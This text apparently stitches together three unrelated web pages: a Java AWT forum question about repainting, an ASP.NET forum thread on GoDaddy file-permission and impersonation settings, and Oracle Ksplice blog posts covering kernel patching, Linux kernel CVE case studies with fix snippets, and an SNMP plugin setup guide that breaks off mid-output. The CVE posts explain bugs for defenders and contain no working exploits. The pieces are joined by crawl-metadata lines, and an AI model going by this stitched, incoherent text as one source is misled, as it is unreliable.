Could the problem be that when all in class A it calls the paint method, any change to the variables thus calls the repaint method. When you subdivide these into different classes A and B you ask A to pass to be B all the variables necessary to draw the object but you cannot call repaint as it was never painted?
Here is my code. This is just a simple example of what I am trying to do.
Do I need to draw it first in the main class?
//SimpleDraw.java
import java.awt.*;
import java.awt.event.*;
public class SimpleDraw extends Frame{
public static void main (String argv[]){
SimpleDraw simple = new SimpleDraw();
simple.setVisible(true);
}
public static final int FrameWidth = 600;
public static final int FrameHeigth = 400;
public int x = 450;
public int y = 12;
public int width = 50;
public int height = 20;
protected DrawBox drawBox;
protected Color color;
private int curveLeft=6;
private int curveRight=6;
private SimpleDraw(){
setSize(FrameWidth,FrameHeigth);
setTitle("As Simple As Me");
drawBox = new DrawBox(x, y, width, height, curveLeft, curveRight);
repaint( );
}
}
//DrawBox.java
import java.awt.*;
import java.awt.event.*;
public class DrawBox extends Rectangle{
public int x = 450;
public int y = 12;
public int width = 50;
public int height = 20;
protected Color color;
private int curveLeft=6;
private int curveRight=6;
public static final int FrameHeigth = 400;
public DrawBox(int x, int y, int width, int height, int curveLeft, int curveRight){
color = Color.blue;
}
public int dy(int y){
return FrameHeigth - y;
}
public void paint(Graphics g){
g.setColor(Color.red);
g.fillRoundRect(x, dy(y), width, height,curveLeft,curveRight);
}
}
Thanking you in advance!
Claire
Forum Rules
Development Centers
-- Android Development Center
-- Cloud Development Project Center
-- HTML5 Development Center
-- Windows Mobile Development Center | http://forums.devx.com/showthread.php?139660-OOP-repaint-between-methods&p=412997&mode=threaded | CC-MAIN-2016-44 | refinedweb | 471 | 70.02 |
Dec 07, 2006 03:13 PM|jloesel|LINK
I am trying to write a very simple logfile for my web application (ASP.NET 2.0). The application is Hosted By Godaddy.com which by default has a "Medium Trust" setting. Does anybody have experience doing File I/O using a third party host.
Many of the solutions I have found suggest changing the security policy for my application from 'Medium' to 'Full' or changing the directory permissions to add the ASP.NET user account. As this is a Third Party Hosting application, I can not change any of the machine configurations.
The following is a Test page I created in the application which illustrates the type of I/O I am trying to accomplish and the associated failures.
Thanks for your help
jl.
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Description:
An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
Exception Details: System.UnauthorizedAccessException: Access to the path 'd:\hosting\myApp\test.txt':
Source File: d:\hosting\myApp\test.aspx.cs Line: 21
Dec 08, 2006 12:54 PM|jloesel|LINK
After trying a large number of scenarios, I am able to answer my own question... It goes something like this:
Godaddy requires you to create a Web hosting username/password. I had mistakenly assumed this was merely an FTP account when in actuality, it was a Windows domain/user password. Typically HOSTING\user
I created a subdirectory where I wanted to contain all of the File I/O activities, thus any security risks would be limited to this one folder. In the example above, if my root folder was myApp, then I create a subfolder at myApp\FileIO.
I then created a new web.config file in that folder that overrides (or actually extends the root web.config file. ) All of the properties of the root web.config file are intact except for the ones that are overridden in the new web.config file. The entire file is pasted below. The trick is to user impersonation using the original godaddy Windows (FTP account) that I originally set up.) By default, (without this web.config file), the entire process runs under the ASP.NET account which does NOT have the ability to add/delete files in my application. But MY id/password does.
I also used the .Net 2.0 security controls to limit access to to the new FILEIO folder to persons with a correct username/password. In other words, using standard .NET authentication controls, I can control who has access to this part of the application. Once they are in, I switch the identity of the ASP.NET worker process to my own id/password which has read/write access. This way, I don't have to give out the windows account/password to my site administrators. They only have website usernames/passwords.
Taking this one step further, I would encrypt this entire web.config file section so that this sensitive username/password is not visible.
Hope this helps
j
<?xml version="1.0"?>
Nov 20, 2007 02:46 AM|BradW|LINK
I'm trying to get impersonation working on godaddy and found your asp.net form thread. I know it's been awhile since you had to deal with this but I'm wondering if you could help me out. I've tried the impersonation settings per your message but I'm getting an invalid login. If I follow correctly I should be using the ftp user name such that the web.config would look like this
<identity impersonate="true" userName="HOSTING\myFTPUserName" password="myFTPUserPassword"/>
I did notice that when a error is raised the error reports back that the user is GDHOSTING\WD016_28 and that impersonate is false (I'm using .Net's health monitoring to email me the error info). In my case I'm setting it at the root because I need to let administrations do quite a bit of updating to the site (which may change later).
Thanks for any help you can provide
- Brad
Nov 20, 2007 12:47 PM|jloesel|LINK
I'll ask the obvious questions 1st
1.
<identity impersonate="true" userName="HOSTING\myFTPUserName" password="myFTPUserPassword"/> --- You are using your full login domain and id. correct?? (GDHOSTING\WD016_28 ). i.e. using GDHOSTING and not just "HOSTING".
2. The web.config file is in the root directory??
Apr 27, 2009 02:08 AM|tod1d|LINK
Thanks. This resolved my issue.
Member
4 Points
Aug 03, 2009 04:53 PM|markbonano|LINK
Although this post is quite old, in my attempt to perform basic IO, I stumbled accross this solution and wanted to update the thread in case any others happen to have a similar issues to my own. Through GoDaddy's File Manager, you can set read and write
permissions on any folder of your chosing. There is no need to create an additional web.config file for basic IO tasks. Hope this helps.
Nov 23, 2009 10:01 PM|okeoke|LINK
I also ran into this issue (shared hosting in godaddy), the behavior looks rather strange to me. I build a WCF web service which creates files and folders on demand. web service is located in [root]\app\service1. And the file repository is in [root]\files. I set the [root]\files folder to read/write enabled.
In the webservice, I was able to use following code to create a file in [root]\files folder:
FileStream stream = File.Open(filePath, FileMode.Create, FileAccess.Write);
...
stream.Close();
However, none of following works: System.IO.File.Copy, System.IO.File.Move, System.IO.Directory.CreateDirectory
They all end up with exception on FileIOPermission. If I change the target filder from [root]\files to [root]\app\service1\app_data, they are all working just fine.
I don't understand about the difference. GoDaddy support told me that my app should be able to read/write in any folder of my "virtual directory", i.e., [root], as long as I enable the folder attribute to allow read/write.
Does anyone has any idea on this? Any suggestion will be greatly appreciated -- I've spent quite some time in google, no solution yet 8(
Mar 29, 2010 02:03 PM|ksm79|LINK
Hi I was just wondering if you found a solution to the problem of being able to create the directories but not being able to create, write etc?
To ask something you might have already checked, but was this problem there even after setting the read write permissions of [root] with the inherit option ticked?
Mar 29, 2010 02:11 PM|ksm79|LINK
Also I was wondering if someone could clarrify some of the posts above about using impersonation on a goDaddy shared hosting to give write permission to the process rather than individual directories.
Do we use hosting or gdhosting before the username? And is the username the original username created at the time of registering the hosting (also the default ftp username) or is it the customer number?
Thanks.
Jun 11, 2010 07:34 AM|ahilnsp|LINK
what markbonano said is correct..please kep follow his answer..
Jun 11, 2010 11:36 AM|jloesel|LINK
Thanks for the update. They've added some features to the service since I wrote this post. I had scoured the internet and message boards and arrived at the impersonation solution by accident.
Dec 02, 2010 04:17 PM|Lakshmish|LINK
I'm on go daddy. Trying to write / read files (upload and then read them from specific directory). Have given the read & write permissions to specific directories using File Manager -> permissions (have un-checked inherit parent) . However no luck, and stuck with exception. It would be of great help to hear on some solution to this.
My piece of code to upload file is<div style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;" id="_mcePaste"> if (FileUpload1.HasFile)<"> FileUpload1.SaveAs(Server.MapPath("~") + System.Configuration.ConfigurationSettings.AppSettings["READBOMEXCELDIR"] + FileUpload1.FileName);</div>
if (FileUpload1.HasFile)
{
FileUpload1.SaveAs(Server.MapPath("~") + System.Configuration.ConfigurationSettings.AppSettings["FILEULDIR"] + FileUpload1.FileName);
})
file upload medium trust
Member
4 Points
Dec 05, 2010 10:53 AM|markbonano|LINK
You must give read/write permissions to the folder containing the uploaded files (In your case 'System.Configuration.ConfigurationSettings.AppSettings["FILEULDIR"]'). Log into the GoDaddy control panel, launch the Hosting Control Center and select the File Manager. You will be able to select a folder in the File Manager and give it read/write access. Hope this helps,
- Mark
Jan 02, 2011 05:32 PM|Marie123|LINK
The original post was not clear about
<identity impersonate="true" userName="HOSTING\myUserName" password="myPassword"/>
is it literally "HOSTING" or my actual the main domain on godaddy? eg. mydomain.com?
I have a similar setup where I want to have my service on the server side (eg. wcf1.svc) access a file under clientbin\data\some.xml and where I have set the "data" folder using the filemanager to (application can write this directory) checked and Read (directory contents are visible to users) is UNCHECKED.
When I use no <identity thingy.... in my config (ie. vanilla
<configuration>
<system.web>
<compilation debug="true" targetFramework="4.0" />
</system.web>
>
</configuration>
I am getting access is denied
Access to the path 'D:\Hosting\2584489\html\GETINFO\clientbin\data\SOME.XML' is denied.
When I try various guesses :) like
<identity impersonate="true" userName="mydomain.com\DefaultFTPName" password="DefaultFTPPassword"/>
The remote server returned an error: NotFound.
There is also this "password vault" where Godaddy allows you to setup a triplet of "application,user,password" is this of any use here? If yes is application string arbitrary? where would this show up in my solution/web.config?
If "HOSTING" needs to be a domain should it be the primary hosting domain or the domain I configured my WCF services against? (I am multi domain hosting)
Can I get around the access denied complaint by providing some credential via code? how please be explicity? I am thinking the Silverlight client should not be concerned with these credential but rather its totally up the server code (service) to resolve
this access, right?
Thanks for all your help. Glad to see an old thread still alive, as it took a while to find a close match to what I am trying to do. (BTW I am not doing any of the WCF authentication jumbo, it's just behond my head and I am simply doing my thing with trying to manage some XML by the server code only, ie. not wanting casual users to access these files via a browser). Sorry for the length, but you can tell I am totally confused :)
Note: Of course I get none of this if my service accesses XML files in ClientBin and not ClientBin\Data\.
WCF service Silverlight access denied authentication
Jan 03, 2011 12:32 PM|jloesel|LINK
So to answer your question:
Yes -- it is literally 'HOSTING'. Or it was. I wrote this post a long time ago and this was before the ability to actually set permissions on the directory folders via the Godaddy File Utility. When I first discovered this soution, I got an error message similar to your own:
"Access to the Path...." is denied. Looking at the error message further... I deduced that my domain and userid were HOSTING/myName. -- myName was my Godaddy login name. HOSTING was unique to the webhosting service of Godaddy. When I used FTP to upload files, I didn't have to include this but ... I figured the error message was giving me the clue I needed.
Looking at the error you are getting above, I would have modified the web.config file as follows:
<identity impersonate="true" userName="HOSTING\2584489" password="password"/>
I am making the assumption that you registered with Godaddy via a numeric userName (or it was given to you). You'll need your real password as well.
-- so that was my thought process then... and thus, my thought process now. I merely inspected the error message I got and guessed that HOSTING was part of the userName element in the web.config file.
Give it a try. I hope it works. btw - None of this is Godaddy specific. Impersonation is a .Net feature allowing you run the ASPNet worker process under an account of your choosing.
Jan 04, 2011 12:15 AM|Marie123|LINK
Thanks for the reply.
1))----------
So thru some echoing from code using WindowsIdentity I was able to see
PHX3\Iusr_2584489 S-1-5-21-3564280981-3663139379-3503723830-912259
So I went on more guess work, none of my attempts (many) with web.config have worked
<identity impersonate="true" userName="HOSTING\ftpname" password="ftppass"/>
<identity impersonate="true" userName="HOSTING\2584489" password="ftppass or mainaccountpass"/>
<identity impersonate="true" userName="HOSTING\original_user_number" password="ftppass or mainaccountpass"/>
<identity impersonate="true" userName="PHX3\Iusr_2584489" password="ftppass or mainaccountpass"/>
<identity impersonate="true" userName="PHX3\AdminUserName" password="pass"/>
<identity impersonate="true" userName="AdminUserName" password="pass"/>
I always seem to get the same garbage back somthing like this:
(client_VCompleted) An exception orrcured- ---
2))----------
So I have given up on web.config for now and I'm using vanilla version again. Now trying with code base Authentication (see sample code at Impersonating by username and password - Damir Dobric Posts - developers.de) which works when I use Authenticate("AdminUserName", "pass");
While this code approach seems to be working I have the following observations:
a) when I comment out the call Authenticate(,) its effect seems to hang around even if I exit VS2010. However if I clear the IE cache the code fails (?weird? I really use FFox). So I need to look closer at how the LogonUser token/handle needs to be released apparently the sample in the post is not carefully coded. Actually, I don't understand all this Chinese :) I wish it was a lot more straightforward than all this pain.
b) I now think the WCF DLL/process on the server
(with the valid credentials still logged on) hangs around so when another
instance of the client runs it may either succeed or fail, eventhough the service code on the server has not changed between sessions/runs.
I think I've seen it fail from an instance of the client on another computer probabling instanciating a different thread of the service which probably fails because there a sibling still hanging around.
I am just thinking loud in writing :)
I wish there was an easier class eg. Logon.LogUser() which remains in effect then a call to some Logon.LogOut() releases whatever needs to be cleaned out (token/handles oh whatever). I am somehow hesitating to include all my XML access inside the Authenticate(,) method after API LogonUser() succeeds. But not clear on how to implement such a LogUser() and LogOut() global methods.
c) the original configured folder clientbin\data\some.xml now returns "500 (internal Server) error" in the browser instead of prompting with the "Authentication Required" dialog. So I have configured an additional clientbin\data2\some.xml with data2 only accessible by apps and which prompt for authentication when accessed via the browser URL. Note: both folder are accessed fine using the code Authenticate(,) routine.
3)----------
Finally, I am still interested in getting the web.config to work as I don't understand why it is not working. Perhaps my class and/or methods are decorated the wrong way for web.config to work with <identity.....> . Please feel free to strip/modify all this .NET gibberish :)
[ServiceContract(Namespace =
"")]
[AspNetCompatibilityRequirements(RequirementsMode = AspNetCompatibilityRequirementsMode.Allowed)]
public class TEST2 // : IWCF1
{
[OperationContract]
[OperationBehavior(Impersonation = ImpersonationOption.Allowed)]
public string V()
{
}
}
When I search on this topic
most of the posts are telling the poster to relax the folder access rights, this is not my goal. Also when I see "impersonate" it throws
me off perhaps this "impersonation" terminology also applies to server code needing access to its "local" files on the same server.
Bottom line I am not trying to pass the credentials of the client, here a Silverlight OOB application, to the Server SVC code but rather except the server service code to have exclusive access rights to these files/folder. Am I approaching this goal the right way :) ?
What is the difference betwee filezilla chmod on files/folder versus using Godaddy's filemanager (perhaps the later is doing some IIS magic? or is it really at the hosting OS ("windows grid") filesystem level?)
Thanks for all your help.
asp. net Silverlight net 4.0 WCF access to file authentication authorization impersonate
15 replies
Last post Jan 04, 2011 12:15 AM by marie123 | http://forums.asp.net/t/1052417.aspx | CC-MAIN-2014-15 | refinedweb | 2,783 | 56.96 |
The latest version of this document is available at
The NDK tests are built as part of a normal build (with
checkbuild.py) and run with
run_tests.py. See Building.md for more instructions on building the NDK.
From the NDK source directory (
./ndk within the directory you ran
repo init in, or the root of the cloned directory if you cloned only the NDK project).
$ ./checkbuild.py # Build the NDK and tests. $ ./run_tests.py
Running the tests requires
adb in your path and compatible devices attached. If you're having trouble with the version from the SDK manager, try a version built fresh from AOSP.
The test runner will look for any attached devices that match the requirements listed in the
devices section of the test configuration file (see qa_config.json for the defaults, or use
--config to choose your own). Each test will be run on all devices compatible with that test.
The full QA configuration takes roughly 10 minutes to run (P920 Linux host, 4 Galaxy Nexūs for Jelly Bean, 2 Pixels for Pie, 1 emulator for x86-64 Pie). Attaching multiple devices will allow the test runner to shard tests among those devices. Pushing tests can take up a large portion of the test time (3 of the 10 minutes quoted above), but
adb push --sync is used to prevent unnecessary pushes on reruns or when only a subset of tests are rebuilt.
The tests can be rebuilt without running
checkbuild.py (which is necessary in the case of not having a full NDK checkout, as you might when running the Windows tests on a release from the build server) with
run_tests.py --rebuild.
By default, all of the configurations we test are built from both
checkbuild.py and
run_tests.py --rebuild. This runs tens of thousands of test executables. Each test is built in 4 different configurations (once for each ABI) at time of writing. The set of configurations built can be restricted in two ways.
First,
run_tests.py --config myconfig.json will use an alternate test configuration file (the default is
qa_config.json).
Second, and simpler for a development workflow, the following flag can be used to restrict the configurations (the presence of any of this flag will override the matching entry in the config file, but otherwise the config file is obeyed):
$ ./run_tests.py --rebuild --abi armeabi-v7a
Configuration filtering flags are repeatable. For example,
--abi armeabi-v7a --abi x86 will build both armeabi-v7a and x86 tests.
Beyond restricting test configurations, the tests themselves can be filtered with the
--filter flag:
$ ./run_tests.py --filter test-googletest-full
Test filters support wildcards (as implemented by Python's
fnmatch.fnmatch). The filter flag may be combined with the build configuration flags.
Putting this all together, a single test can be rebuilt and run for just armeabi-v7a, with the following command:
$ ./run_tests.py --rebuild \ --abi armeabi-v7a \ --filter test-googletest-full
When testing a release candidate, your first choice should be to run the test artifacts built on the build server for the given build. This is the ndk-tests.tar.bz2 artifact in the same directory as the NDK zip. Extract the tests somewhere, and then run:
$ ./run_tests.py path/to/extracted/tests
For Windows, test artifacts are not available since we cross compile the NDK from Linux rather than building on Windows. We want to make sure the Windows binaries we build work on Windows (using wine would only tell us that they work on wine, which may not be bug compatible with Windows), so those must be built on the test machine before they can be run. To use the fetched NDK to build the tests, run:
$ ./run_tests.py --rebuild --ndk path/to/extracted/ndk out caller:
from typing import Optional from ndk.test.devices import Device from ndk.test.types import Test def build_broken(test: Test) -> tuple[Optional[str], Optional[str]]: if test.abi == 'arm64-v8a': return test.abi, ' return None, None def run_unsupported(test: Test, device: Device) -> Optional[str]: if device.version < 21: return f'{device.version}'.
device_api: The API level of the device the test will be run on.
name: This is the name of the test executable being run. For libc++ tests built by LIT, the executable will be
foo.pass.cpp.exe, but
namewill be
foo.pass.
For testing a release, make sure you're testing against the released user builds of Android.
For Nexus/Pixel devices, factory images are available here:
For emulators, use emulator images from the SDK rather than from a platform build, as these are what our users will be using. Note that some NDK tests (namely test-googletest-full and asan-smoke) are known to break between emulator updates. It is not known whether these are NDK bugs, emulator bugs, or x86_64 system image bugs.
After installing the emulator images from the SDK manager, they can be configured and launched for testing with (assuming the SDK tools directory is in your path):
$ android create avd --name $NAME --target android-$LEVEL --abi $ABI $ emulator -avd $NAME
This will create and launch a new virtual device.
ARM64 emulators are available in the SDK manager but emulated testing (as compared to virtualized testing on x86_64) is very slow. Physical devices are recommended for testing ARM64.
Warning: the process below hasn't been tested in a very long time. Googlers should refer to for slightly more up-to-date Google- specific setup instructions, but may be easier.
Windows testing can be done on Windows VMs in Google Compute Engine. To create one:
scripts/create_windows_instance.py $PROJECT_NAME $INSTANCE_NAME
This process will create a
secrets.py file in the NDK project directory that contains the connection information.
The VM will have Chrome and Git installed and WinRM will be configured for remote command line access.
TODO: Implement
run_tests.py --remote-build. | https://android.googlesource.com/platform/ndk.git/+/master/docs/Testing.md | CC-MAIN-2022-21 | refinedweb | 974 | 65.22 |
Ksplice Blog Rebooting is obsolete 2017-02-18T06:46:54+00:00 Apache Roller Oracle Linux and Ksplice - the Linux distribution with minimal downtime Jamie Iles-Oracle 2016-11-04T09:34:58+00:00 2016-11-04T09:39:58+00:00 <div> <div.</div> <div><br /></div> <div.</div> <div><br /></div> <div.</div> <div><br /></div> <div.</div> <div><br /></div> .</div> <div><br /></div> .</div> <div><br /></div> <div!</div> <div><br /></div> <div>We continue to innovate with Ksplice, extending it to patch more of the Linux OS, making sure that we can patch every important vulnerability and deliver the features that customers require. Find out more about <a href="" title="Ksplice homepage">Ksplice and Oracle Linux</a> and stop rebooting!</div> </div> CVE-2016-5195/Dirty COW and Ksplice Jamie Iles-Oracle 2016-10-24T12:15:15+00:00 2016-10-24T12:56:31+00:00 <p><span style="line-height: 21px;".</span></p> <p>With Ksplice you have the peace of mind of receiving quick, reliable fixes for all important security bugs on all of your systems, including kernels over 8 years old, without any disruption and without any action required. Why not <a href="" title="Try Ksplice for 30 days on OL/RHEL">try Ksplice yourself</a> for 30 days on Oracle Linux or RHEL and see how you can avoid disruptive, expensive downtime and stay secure?</p> Fixing Security Vulnerabilities in Linux michael.ploujnikov-Oracle 2015-07-22T21:32:29+00:00 2015-07-22T21:32:29+00:00 Security vulnerabilities are some of the hardest bugs to discover yet they can have the largest impact. At <a title="Ksplice" href="">Ksplice</a>, we spend a lot of time looking at security vulnerabilities and seeing how they are fixed. We use automated tools such as the <a href="" title="Trinity">Trinity</a> syscall fuzzer and the Kernel Address Sanitizer (<a href="" title="KASan">KASan</a>) to aid our process. In this blog post we'll go over some case studies of recent vulnerabilities and show you how you can avoid them in your code.<br /> <h3><a href="">CVE-2013-7339</a> and <a href="">CVE-2014-2678</a></h3> <p>These two are very similar <code>NULL</code>.</p> <p>The issue is pretty simple as we can see from this fix:</p> <pre><code", </code></pre> <p>Generally we are allowed to bind an address without a physical device so we can reach this code without any RDS hardware. Sadly, this code wrongly assumes that a devices exists at this point and that <code>cm_id->device</code> is not <code>NULL</code> leading to a <code>NULL</code> pointer dereference.</p> <p>These type of issues are usually caught early in <a title="linux-next" href="">-next</a> as that exposes the code to various users and hardware configurations, but this one managed to slip through somehow.</p> <p>There are many variations of the scenario where the hardware specific and other kernel code doesn't handle cases which "don't make sense". Another recent example is <code>dlmfs</code>. The kernel would panic when trying to create a directory on it - something that doesn't happen in regular usage of <code>dlmfs</code>.</p> <h3><a href="">CVE-2014-3940</a></h3> <p.</p> <p>When we dump NUMA maps we need to walk memory entries using <code>walk_page_range()</code>:</p> <pre><code> /* *; } </code> </pre> <p>When <code>walk_page_range()</code> detects a hugepage it calls <code>walk_hugetlb_range()</code>, which calls the proc's callback (provided by <code>walk->hugetlb_entry()</code>) for each page individually:</p> <pre><code>); </code></pre> <p>Note that the callback is executed for each <code>pte</code>; even for those that are not present in memory (<code>pte_present(*pte)</code> would return false in that case). This is done by the walker code because it was assumed that callback functions might want to handle that scenario for some reason. In the past there was no way for a huge <code>pte</code> to be absent, but that changed when the hugepage migration was introduced. During page migration <code>unmap_and_move_huge_page()</code> removes huge <code>pte</code>s:</p> <p><code> if (page_mapped(hpage)) {</code></p> <p><code><span style="white-space: pre;" class="Apple-tab-span"> </span>try_to_unmap(hpage, TTU_MIGRATION|TTU_IGNORE_MLOCK|TTU_IGNORE_ACCESS);</code></p> <p><code><span style="white-space: pre;" class="Apple-tab-span"> </span>page_was_mapped = 1;</code></p> <p><code>} </code> </p> <p>Unfortunately, some callbacks were not changed to deal with this new possibility. A notable example is <code>gather_pte_stats()</code>, which tries to lock a non-existent <code>pte</code>:</p> <pre><code> orig_pte = pte = pte_offset_map_lock(vma->vm_mm, pmd, addr, &ptl); </code></pre> <p>This can cause a panic if it happens during a tiny window inside <code>unmap_and_move_huge_page()</code>.<br /><br />Dumping NUMA maps doesn't happen too often and is mainly used for testing/debugging, so this bug has lived there for quite a while and was made visible only recently when hugepage migration was added.<br /><br />It's also common that adding userspace interfaces to trigger kernel code which doesn't get called often exposes many issues. This happened recently when the firmware loading code was exposed to userspace.</p> <h3><a href="">CVE-2014-4171</a></h3> <p>This one also falls into the category of "doesn't make sense" because it involves repeated page faulting of memory that we marked as unwanted. When this happens shmem tries to remove a block of memory, but since it's getting faulted over and over again <code>shmem</code> will hang waiting until it's available for removal. Meanwhile other filesystem operations will be blocked, which is bad because that memory may never become available for removal.</p> <p>When we're faulting a <code>shmem</code> page in, <code>shmem_fault()</code> would grab a reference to the page:<br /></p><code> static int shmem_fault(struct vm_area_struct *vma, struct vm_fault *vmf) { [...] error = shmem_getpage(inode, vmf->pgoff, &vmf->page, SGP_CACHE, &ret); </code> <p>But because <code>shmem_fallocate()</code> holds <code>i_mutex</code> this means that <code>shmem_fallocate()</code> can wait forever until it can free up that page. This, in turn means that that filesystem is stuck waiting for <code>shmem_fallocate()</code> to complete.<br /><br />Beyond that, punching holes in files and marking memory as unwanted are not common operations; especially not on a <code>shmem</code> filesystem. This means that those code paths are very untested.<br /></p> <h3><a href="">CVE-2014-4943</a><br /></h3> <p>This is a privilege escalation which was found using KASan. We've noticed that as a result of a call to a <code>PPPOL2TP</code> ioctl an uninitialized address inside a struct was being read. Further investigation showed that this is the result of a confusion about the type of the struct that was being accessed.<br /><br />When we call <code>setsockopt</code> from userspace on a <code>PPPOL2TP</code> socket in userspace we'll end up in <code>pppol2tp_setsockopt()</code> which will look at the <code>level</code> parameter to see if the <code>sockopt</code> operation is intended for <code>PPPOL2TP</code> or the underlying <code>UDP</code> socket:<br /></p> <pre><code> if (level != SOL_PPPOL2TP) return udp_prot.setsockopt(sk, level, optname, optval, optlen); </code></pre> <p><code>PPPOL2TP</code> tries to be helpful here and allows userspace to set <code>UDP</code> <code>sockopts</code> rather than just <code>PPPOL2TP</code> ones. The problem here is that <code>UDP</code>'s <code>setsockopt</code> expects a <code>udp_sock</code>:<br /></p> <pre><code> int udp_lib_setsockopt(struct sock *sk, int level, int optname, char __user *optval, unsigned int optlen, int (*push_pending_frames)(struct sock *)) { struct udp_sock *up = udp_sk(sk); </code></pre> <p>But instead it's getting just a <code>sock</code> struct.<br /><br /.<br /></p> <h3>Conclusion</h3> <p>We hope that this exposition of straightforward and more subtle kernel bugs will remind of the importance of looking at code from a new perspective and encourage the developer community to contribute to and create new tools and methodologies for detecting and preventing bugs in the kernel.<br /></p> <div style="right: 150px; opacity: 0; display: none;" class="vimiumReset vimiumHUD"></div> Ksplice SNMP Plugin Timhill-Oracle 2014-01-29T14:00:00+00:00 2014-11-17T17:56:49+00:00 <link rel="stylesheet" type="text/css" href="" /> <p>The Ksplice team is happy to announce the release of an SNMP plugin for Ksplice, available today on the Unbreakable Linux Network. The plugin will let you use Oracle Enterprise Manager to monitor the status of Ksplice on all of your systems, but it will also work with any monitoring solution that is SNMP compatible.</p> <h3>Installation</h3> <p>You'll find the plugin on Ksplice channel for your distribution and architecture. For Oracle Linux 6 on x86_64 that's <code>ol6_x86_64_ksplice</code>. Install the plugin by running (as root):</p> <pre><code>yum install ksplice-snmp-plugin</code></pre> <h3>Configuration</h3> <p>If you haven't set up SNMP before, you'll need to do a little bit of configuration. Included below is a sample <code>/etc/snmp/snmpd.conf</code> file to try out the plugin:</p> <pre><code> # Setting up permissions # ====================== com2sec local localhost public com2sec mynet 10.10.10.0/24 public syscontact sysadmin <root@localhost> # Load the plugin # =============== dlmod kspliceUptrack /usr/lib64/ksplice-snmp/kspliceUptrack.so</code> <p> </p></pre> <p>You'll want to replace the IP address next to <code>com2sec</code> with the address of your local network, or the address of your SNMP monitoring software. If you are running on a 32 bit architecture x86), replace <code>lib64</code> in the <code>dlmod</code> path with <code>lib</code>. The above configuration is an example, intended only for testing purposes. For more information about configuring SNMP, check out the <a href="">SNMP documentation</a>, including the man pages for <a href=""><code>snmpd</code></a> and <a href=""><code>snmpd.conf</code></a>.</p> <h3>Examples</h3> <p>You can test out your configuration by using the <code>snmpwalk</code> command and verifying the responses. Some examples:</p> <p>Displaying the installed version of Ksplice:</p> <pre><code>$ snmpwalk -v 1 -c public -O e localhost KSPLICE-UPTRACK-MIB::kspliceVersion KSPLICE-UPTRACK-MIB::kspliceVersion.0 = STRING: 1.2.12 </code></pre> <p>Checking if a kernel has all available updates installed:</p> <pre><code>$ snmpwalk -v 1 -c public -O e localhost KSPLICE-UPTRACK-MIB::kspliceStatus KSPLICE-UPTRACK-MIB::kspliceStatus.0 = STRING: outofdate </code></pre> <p>Displaying and comparing the kernel installed on disk with the Ksplice effective version:</p> <pre><code>$ snmpwalk -v 1 -c public -O e localhost KSPLICE-UPTRACK-MIB::kspliceBaseKernel KSPLICE-UPTRACK-MIB::kspliceBaseKernel.0 = STRING: 2.6.18-274.3.1.el5 $ snmpwalk -v 1 -c public -O e localhost KSPLICE-UPTRACK-MIB::kspliceEffectiveKernel KSPLICE-UPTRACK-MIB::kspliceEffectiveKernel.0 = STRING: 2.6.18-274.3.1.el5 </code></pre> <p>Displaying a list of all installed updates:</p> <pre><code>$ snmpwalk -v 1 -c public -O e localhost KSPLICE-UPTRACK-MIB::ksplicePatchTable </code></pre> <p>In this case, there are none. This is why the base kernel version and effective kernel version are the same, and why this kernel is out of date.</p> <p>Displaying a list of updates that can be installed right now, including their description:</p> <pre><code>$ snmpwalk -v 1 -c public -O e localhost KSPLICE-UPTRACK-MIB::kspliceAvailTable KSPLavailIndex.3 = INTEGER: 3 KSPLICE-UPTRACK-MIB::kspliceavailIndex.4 = INTEGER: 4 KSPLICE-UPTRACK-MIB::kspliceavailIndex.5 = INTEGER: 5 KSPLICE-UPTRACK-MIB::kspliceavailIndex.6 = INTEGER: 6 KSPLICE-UPTRACK-MIB::kspliceavailIndex.7 = INTEGER: 7 KSPLICE-UPTRACK-MIB::kspliceavailIndex.8 = INTEGER: 8 KSPLICE-UPTRACK-MIB::kspliceavailIndex.9 = INTEGER: 9 KSPLICE-UPTRACK-MIB::kspliceavailIndex.10 = INTEGER: 10 KSPLICE-UPTRACK-MIB::kspliceavailIndex.11 = INTEGER: 11 KSPLICE-UPTRACK-MIB::kspliceavailIndex.12 = INTEGER: 12 KSPLICE-UPTRACK-MIB::kspliceavailIndex.13 = INTEGER: 13 KSPLICE-UPTRACK-MIB::kspliceavailIndex.14 = INTEGER: 14 KSPLICE-UPTRACK-MIB::kspliceavailIndex.15 = INTEGER: 15 KSPLICE-UPTRACK-MIB::kspliceavailIndex.16 = INTEGER: 16 KSPLICE-UPTRACK-MIB::kspliceavailIndex.17 = INTEGER: 17 KSPLICE-UPTRACK-MIB::kspliceavailIndex.18 = INTEGER: 18 KSPLICE-UPTRACK-MIB::kspliceavailIndex.19 = INTEGER: 19 KSPLICE-UPTRACK-MIB::kspliceavailIndex.20 = INTEGER: 20 KSPLICE-UPTRACK-MIB::kspliceavailIndex.21 = INTEGER: 21 KSPLICE-UPTRACK-MIB::kspliceavailIndex.22 = INTEGER: 22 KSPLICE-UPTRACK-MIB::kspliceavailIndex.23 = INTEGER: 23 KSPLICE-UPTRACK-MIB::kspliceavailIndex.24 = INTEGER: 24 KSPLICE-UPTRACK-MIB::kspliceavailIndex.25 = INTEGER: 25 KSPLICE-UPTRACK-MIB::kspliceavailName.0 = STRING: [urvt04qt] KSPLICE-UPTRACK-MIB::kspliceavailName.1 = STRING: [7jb2jb4r] KSPLICE-UPTRACK-MIB::kspliceavailName.2 = STRING: [ot8lfoya] KSPLICE-UPTRACK-MIB::kspliceavailName.3 = STRING: [f7pwmkto] KSPLICE-UPTRACK-MIB::kspliceavailName.4 = STRING: [nxs9cwnt] KSPLICE-UPTRACK-MIB::kspliceavailName.5 = STRING: [i8j4bdkr] KSPLICE-UPTRACK-MIB::kspliceavailName.6 = STRING: [5jr9aom4] KSPLICE-UPTRACK-MIB::kspliceavailName.7 = STRING: [iifdtqom] KSPLICE-UPTRACK-MIB::kspliceavailName.8 = STRING: [6yagfyh1] KSPLICE-UPTRACK-MIB::kspliceavailName.9 = STRING: [bqc6pn0b] KSPLICE-UPTRACK-MIB::kspliceavailName.10 = STRING: [sy14t1rw] KSPLICE-UPTRACK-MIB::kspliceavailName.11 = STRING: [ayo20d8s] KSPLICE-UPTRACK-MIB::kspliceavailName.12 = STRING: [ur5of4nd] KSPLICE-UPTRACK-MIB::kspliceavailName.13 = STRING: [ue4dtk2k] KSPLICE-UPTRACK-MIB::kspliceavailName.14 = STRING: [wy52x339] KSPLICE-UPTRACK-MIB::kspliceavailName.15 